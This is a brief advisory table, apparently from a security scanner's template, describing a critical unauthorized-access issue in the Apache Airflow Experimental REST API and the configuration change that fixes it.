|---|---|
| Author | pdteam |
| Severity | Critical |
| Impact | Allows unauthorized access to Airflow Experimental REST API |
| Remediation | From Airflow 1.10.11 forward, the default has been changed to deny all requests by default. Note - this change fixes it for new installs but existing users need to change their config to default `[api]auth_backend = airflow.api.auth.backend.deny_all` as mentioned in the Updating Guide linked in the references. |
